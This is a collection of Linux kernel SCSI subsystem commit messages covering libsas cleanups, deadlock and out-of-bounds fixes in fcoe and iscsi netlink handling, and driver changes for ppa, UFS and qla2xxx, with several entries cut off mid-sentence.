Merge patch series "libsas: Some tidy-up"

John Garry <john.g.garry@oracle.com> says:

This series tidies-up libsas a bit, including:
- delete structure(s) with only one member
- delete structure members which are only ever set
- delete structure members which are never set and code which relies on
  that member being set

This conflicts with the following series:
https://lore.kernel.org/linux-scsi/20230809132249.37948-1-yuehaibing@huawei.com/

Any conflict should be trivial to resolve.

Merge patch series "Returning FIS on success for CDL"

Igor Pylypiv <ipylypiv@google.com> says:

This patch series plumbs libata's request for a result taskfile
(ATA_QCFLAG_RESULT_TF) through libsas to pm80xx LLDD. Other libsas LLDDs
can start using the newly added return_fis_on_success as well, if needed.

For Command Duration Limits policy 0xD (command completes without an
error) libata needs FIS in order to detect the ATA_SENSE bit and read
the Sense Data for Successful NCQ Commands log (0Fh). pm80xx HBAs do
not return FIS on success by default, hence, the driver is updated to
set the RETFIS bit (Return FIS on good completion) when requested by
libsas.

scsi: target: Fix write perf due to unneeded throttling

The write back throttling (WBT) code checks if REQ_SYNC | REQ_IDLE is set
to determine if a write is O_DIRECT vs buffered. If the bits are not set

scsi: fcoe: Fix potential deadlock on &fip->ctlr_lock

There is a long call chain that &fip->ctlr_lock is acquired by isr
fnic_isr_msix_wq_copy() under hard IRQ context. Thus other process context
code acquiring the lock should disable IRQ, otherwise deadlock could happen
if the IRQ preempts the execution while the lock is held in process context
on the same CPU.

[ISR]
fnic_isr_msix_wq_copy()
 -> fnic_wq_copy_cmpl_handler()
 -> fnic_fcpio_cmpl_handler()
 -> fnic_fcpio_flogi_reg_cmpl_handler()
 -> fnic_flush_tx()
 -> fnic_send_frame()
 -> fcoe_ctlr_els_send()
 -> spin_lock_bh(&fip->ctlr_lock)

[Process Context]
1. fcoe_ctlr_timer_work()
 -> fcoe_ctlr_flogi_send()
 -> spin_lock_bh(&fip->ctlr_lock)

2. fcoe_ctlr_recv_work()
 -> fcoe_ctlr_recv_handler()
 -> fcoe_ctlr_recv_els()
 -> fcoe_ctlr_announce()
 -> spin_lock_bh(&fip->ctlr_lock)

4. -> fcoe_xmit()

spin_lock_bh() is not enough since fnic_isr_msix_wq_copy() is a
hardirq.

These flaws were found by an experimental static analysis tool I am

The patch fix the potential deadlocks by spin_lock_irqsave() to disable

scsi: ppa: Add a module parameter for the transfer mode

I have an Iomega Z100P2 zip drive, but it does not work with my StarTech
PEX1P2 AX99100 PCIe parallel port, which evidently does not support 16-bit
or 32-bit EPP. Currently the only way to tell the PPA driver to use 8-bit
EPP is to write 'mode=3' to /proc/scsi/ppa/*, but the driver doesn't
actually distinguish between the three EPP modes and still tries to use
16-bit or 32-bit EPP. And even if writing to that file did make the driver
use 8-bit EPP, it still wouldn't do me any good because by the time that
file exists, the drive has already failed to initialize.

Add a new parameter /sys/module/ppa/mode to set the transfer mode before
initializing the drive. This parameter replaces the use of
CONFIG_SCSI_IZIP_EPP16 in the PPA driver.

At the same time, default to 8-bit EPP. 16-bit and 32-bit EPP are not
necessary for the drive to function, nor are they part of the IEEE 1284
standard, so the driver should not assume that they are available.

scsi: mpi3mr: Invoke soft reset upon TSU or event ack time out

When a timestamp update or an event acknowledgment command times out, the

the controller is operational, the driver will issue a diagnostic fault
reset and exit out of the command processing function. If the controller is

scsi: ufs: qcom: Add support for scaling interconnects

Qcom SoCs require scaling the interconnect paths for proper working of the
peripherals connected through interconnects. Even for accessing the UFS
controller, someone should setup the interconnect paths. So far, the
bootloaders used to setup the interconnect paths before booting Linux as
they need to access the UFS storage for things like fetching boot firmware.
But with the advent of multi boot options, bootloader nowadays like in
SA8540p SoC do not setup the interconnect paths at all.

So trying to configure UFS in the absence of the interconnect path
configuration results in a boot crash.

To fix this issue, and also to dynamically scale the interconnects (UFS-DDR
and CPU-UFS), interconnect API support is added to the Qcom UFS driver.
With this support, the interconnect paths are scaled dynamically based on
the gear configuration.

During the early stage of ufs_qcom_init(), ufs_qcom_icc_init() will setup
the paths to max bandwidth to allow configuring the UFS registers. Touching
the registers without configuring the icc paths would result in a crash.
However, we don't really need to set max vote for the icc paths as any
minimal vote would suffice. But the max value would allow initialization to

Merge patch series "scsi: target: iscsi: Get rid of sprintf in iscsi_target_configfs.c"

Konstantin Shelekhin <k.shelekhin@yadro.com> says:

This patch series cleanses iscsi_target_configfs.c of sprintf

scsi: iscsi: Add strlen() check in iscsi_if_set{_host}_param()

The functions iscsi_if_set_param() and iscsi_if_set_host_param() convert an
nlattr payload to type char* and then call C string handling functions like
sscanf and kstrdup:

  char *data = (char*)ev + sizeof(*ev);
  ...
  sscanf(data, "%d", &value);

However, since the nlattr is provided by the user-space program and the
nlmsg skb is allocated with GFP_KERNEL instead of GFP_ZERO flag (see
netlink_alloc_large_skb() in netlink_sendmsg()), dirty data on the heap can
lead to an OOB access for those string handling functions.

By investigating how the bug is introduced, we find it is really
interesting as the old version parsing code starting from commit
fd7255f51a13 ("[SCSI] iscsi: add sysfs attrs for uspace sync up") treated
the nlattr as integer bytes instead of string and had length check in
iscsi_copy_param():

  if (ev->u.set_param.len != sizeof(uint32_t))
    BUG();

But, since the commit a54a52caad4b ("[SCSI] iscsi: fixup set/get param
functions"), the code treated the nlattr as C string while forgetting to
add any strlen checks(), opening the possibility of an OOB access.

Fix the potential OOB by adding the strlen() check before accessing the
buf. If the data passes this check, all low-level set_param handlers can
safely treat this buf as legal C string.

scsi: iscsi: Add length check for nlattr payload

The current NETLINK_ISCSI netlink parsing loop checks every nlmsg to make
sure the length is bigger than sizeof(struct iscsi_uevent) and then calls
iscsi_if_recv_msg().

  nlh = nlmsg_hdr(skb);
  if (nlh->nlmsg_len < sizeof(*nlh) + sizeof(*ev) ||
    skb->len < nlh->nlmsg_len) {
    break;
  }
  ...
  err = iscsi_if_recv_msg(skb, nlh, &group);

Hence, in iscsi_if_recv_msg() the nlmsg_data can be safely converted to
iscsi_uevent as the length is already checked.

However, in other cases the length of nlattr payload is not checked before
the payload is converted to other data structures. One example is
iscsi_set_path() which converts the payload to type iscsi_path without any
checks:

  params = (struct iscsi_path *)((char *)ev + sizeof(*ev));

Whereas iscsi_if_transport_conn() correctly checks the pdu_len:

  pdu_len = nlh->nlmsg_len - sizeof(*nlh) - sizeof(*ev);
  if ((ev->u.send_pdu.hdr_size > pdu_len) ..
    err = -EINVAL;

To sum up, some code paths called in iscsi_if_recv_msg() do not check the
length of the data (see below picture) and directly convert the data to
another data structure. This could result in an out-of-bound reads and heap
dirty data leakage.

             _________  nlmsg_len(nlh) _______________

+----------+--------------+---------------------------+
                          \                          /
                         iscsi_uevent->u.set_param.len

Fix the issue by adding the length check before accessing it. To clean up
the code, an additional parameter named rlen is added. The rlen is
calculated at the beginning of iscsi_if_recv_msg() which avoids duplicated
calculation.

scsi: ufs: core: Remove HPB support

Interest among UFS users in HPB has reduced significantly. I am not aware
of any current users of the HPB functionality. Hence remove HPB support
from the kernel.

A note: the work in JEDEC on a successor for HPB is nearing completion.
Zoned storage for UFS or ZUFS combines the UFS standard with ZBC-2.

scsi: ufs: ufs-qcom: Change UFS devfreq timer to delayed

Devfreq uses the default DEVFREQ_TIMER_DEFERRABLE mode which uses the
deferred timer for scheduling the devfreq load monitor function.  This
causes the load monitoring to be done only with non-idle CPUs and not
making use of the idle CPUs.

Hence, use the DEVFREQ_TIMER_DELAYED mode which uses the delayed timer
thereby making use of idle CPUs as well for load monitoring.

scsi: qla2xxx: Fix erroneous link up failure

Link up failure occurred where driver failed to see certain events from FW
indicating link up (AEN 8011) and fabric login completion (AEN 8014).
Without these 2 events, driver would not proceed forward to scan the
fabric. The cause of this is due to delay in the receive of interrupt for
Mailbox 60 that causes qla to set the fw_started flag late.  The late
setting of this flag causes other interrupts to be dropped.  These dropped
interrupts happen to be the link up (AEN 8011) and fabric login completion
(AEN 8014).

Set fw_started flag early to prevent interrupts being dropped.

scsi: qla2xxx: Fix command flush during TMF

For each TMF request, driver iterates through each qpair and flushes
commands associated to the TMF. At the end of the qpair flush, a Marker is
used to complete the flush transaction. This process was repeated for each
qpair. The multiple flush and marker for this TMF request seems to cause
confusion for FW.

Instead, 1 flush is sent to FW. Driver would wait for FW to go through all
the I/Os on each qpair to be read then return. Driver then closes out the
transaction with a Marker.
